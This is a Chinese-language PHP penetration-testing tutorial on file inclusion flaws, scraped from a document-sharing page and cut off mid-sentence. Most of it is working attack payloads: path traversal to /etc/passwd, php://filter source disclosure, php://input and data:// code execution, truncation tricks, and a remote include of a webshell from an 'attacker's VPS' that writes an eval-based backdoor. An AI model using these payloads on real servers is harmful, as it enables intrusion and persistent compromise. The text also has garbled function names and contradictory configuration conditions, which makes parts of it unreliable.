詳解PHP滲透測試文件包含漏洞與利用_第1頁
詳解PHP滲透測試文件包含漏洞與利用_第2頁
詳解PHP滲透測試文件包含漏洞與利用_第3頁
詳解PHP滲透測試文件包含漏洞與利用_第4頁
詳解PHP滲透測試文件包含漏洞與利用_第5頁
已閱讀5頁,還剩4頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

第詳解PHP滲透測試文件包含漏洞與利用目錄什么是文件包含漏洞文件包含漏洞的分類本地文件包含漏洞利用利用條件(以PHP為例)直接訪問文件利用協(xié)議讀取源代碼截斷%00長度截斷PHP的偽協(xié)議file://php://data://phar://遠(yuǎn)程文件包含漏洞利用遠(yuǎn)程包含webshell代碼審計(jì)修復(fù)建議

什么是文件包含漏洞

文件包含,在網(wǎng)站開發(fā)人員開發(fā)網(wǎng)站時,會將經(jīng)常重復(fù)的代碼寫道一個單獨(dú)的文件中,在別的文件中可以使用文件包含的函數(shù)來引用單獨(dú)的文件。目前很多語言都支持文件包含,例如php(inchude,require,inchude_once,require_once)等,,也就是包含文件包含函數(shù),其目的就是減少代碼重復(fù),提高代碼優(yōu)化效率,減少函數(shù)重復(fù)的使用。

文件包含產(chǎn)生的漏洞,因?yàn)橛羞@些文件包含的函數(shù),當(dāng)我們有一定權(quán)限(可讀)的時候,我們就可以利用文件包含函數(shù)包含我們語言指定的文件,或者是包含本地服務(wù)器中的文件。簡而言之,當(dāng)php語言在引入文件時,引用的文件名,用戶可控,由于傳入的文件名沒有經(jīng)過效驗(yàn),或者沒有經(jīng)過過濾被繞過,從而引用別的文件,導(dǎo)致的惡意代碼注入

文件包含漏洞的分類

大體可以分為:本地文件包含和遠(yuǎn)程文件包含。

遠(yuǎn)程文件包含:開啟條件,在php.ini配置文件中開啟allow_url_fopen和allow_url_include,包含文件是第三方文件

本地文件包含:就是本地服務(wù)器上的文件

一旦遠(yuǎn)程包含可以開啟,那么遠(yuǎn)程包含的漏洞比本地包含的漏洞更加的直接,危害也更加的大,可以隨意的包含任意主機(jī)的任意文件。

本地文件包含

顧名思義,引用本地文件,利用inchude包含函數(shù)包含本地(服務(wù)器)文件。

漏洞利用

利用條件(以PHP為例)

1.inchude,等函數(shù)通過動態(tài)變量引入

2.用戶能自動控制動態(tài)變量

什么是動態(tài)變量?

我們可以這么理解,例如一個網(wǎng)站/inchude.phpin=../../../etc/passwd,那么此時的in=../../../etc/passwd是我們動態(tài)可以操作的變量

直接訪問文件

xx=/etc/passwdxx=../../../etc/passwd

利用協(xié)議讀取源代碼

xx=php://filter/read=convert.base64-encode/resource=xx.php#這樣能看到php文件的源碼

截斷%00

這里假設(shè)漏洞代碼為

php

if(isset($_GET['shell']))

include($_GET['shell'].".php");//包含文件后會加上.php,并進(jìn)行訪問

}else{

include(index.php);

假設(shè)這樣正常的網(wǎng)站,我們上傳一個圖片馬文件為tpm.jpg,此時我們需要訪問圖片時網(wǎng)址就會報錯,此時url=/index.php?shell=tpm.jpg.php,此時文件中并沒有該文件,此時我們就可以在.jpg后添加%00進(jìn)行截斷,可能可以繞過。

條件:php.ini中magic_quotes_qpc=off并且PHP版本5.3.4的情況。

長度截斷

漏洞代碼演示

php

$file=$_GET['shell'];

include($file.'.jpg');

與上面原理差不多,在1.txt中寫下

當(dāng)知曉對方服務(wù)器的而前提下,我們可以使用超出服務(wù)器的解析特征,進(jìn)行一個繞過。

條件:Windows長度是/.長于256,Linux長度是/.長于4096

PHP的偽協(xié)議

file://

作用:

訪問本地文件,在CTF中常用文件包含題型

條件:

allow_url_fopen=off/on

allow_url_inchude=off/on

實(shí)例:

文件的絕對路徑和文件名

/include.phpfile=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt

文件的相對路徑和文件名

/include.phpfile=./phpinfo.txt

網(wǎng)絡(luò)路徑和文件名

/include.phpfile=/phpinfo.txt

php://

作用:

php://訪問輸入輸出流(i/o)

這里介紹兩種常用類型:

php://filter用于讀取源碼

php://input用于執(zhí)行PHP代碼

條件:

allow_url_fopen=off/on

allow_url_inchude=off/on

實(shí)例

php://filter/read=convert.base64-encode/resource=[文件名]//base64讀取文件源碼

/include.phpfile=php://filter/read=convert.base64-encode/resource=phpinfo.php

php://input+POST執(zhí)行php代碼

/include.phpfile=php://input[POSTDATA部分]phpphpinfo();

如果具有一定的寫入權(quán)限,POST寫入一句話木馬

phpfputs(fopen('shell.php','w'),'php@eval($_GET[cmd]);

data://

條件:

allow_url_fopen=on

allow_url_inchude=on

作用:

在PHP=5.2.0起,可以使用data://數(shù)據(jù)封裝器,傳遞數(shù)據(jù)相應(yīng)格式的數(shù)據(jù)

可以執(zhí)行PHP代碼

實(shí)例

/include.phpfile=data://text/plain,php%20phpinfo();

/include.phpfile=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://

phar://協(xié)議與zip://類似,同樣可以訪問zip格式壓縮包內(nèi)容

/include.phpfile=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

利用條件PHP5.3

要想使用Phar類里的方法,必須將phar.readonly=on/off,利用phar協(xié)議可以拓展php反序列化漏洞攻擊面

遠(yuǎn)程文件包含

服務(wù)器通過PHP的函數(shù)去包含任意文件時,由于要包含的這個文件過濾不嚴(yán)格,從而可以去包含一個惡意文件,從而達(dá)到攻擊的目的

漏洞利用

條件:

allow_url_include=OFF

allow_url_fopen=OFF

遠(yuǎn)程包含webshell

xxx=http://攻擊者的VPS/shell.txt

shell.txt內(nèi)容為:

php

fputs(fopen('./shell.php','w'),'php@eval($_POST[123])

代碼審計(jì)

文件包含用到的函數(shù)

include()//使用此函數(shù),只有代碼執(zhí)行到此函數(shù)時才將文件包含進(jìn)來,發(fā)生錯誤時只警告并繼續(xù)執(zhí)行。

inclue_once()//功能和前者一樣,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時,程序只調(diào)用一次。

require()//使用此函數(shù),只要程序執(zhí)行,立即調(diào)用此函數(shù)包含文件發(fā)生錯誤時,會輸出錯誤信息并立即終止程序。

require_once()//功能和前者一樣,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時,程序只調(diào)用一次。

代碼審計(jì)的時候全局搜索以上函數(shù)

如果是基于圖像上傳的,要搜$_FILES變量,因?yàn)镻HP處理上傳文件的功能,基本都與$_FILES有關(guān)。

查看目錄結(jié)構(gòu),重點(diǎn)關(guān)注includes、modul

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論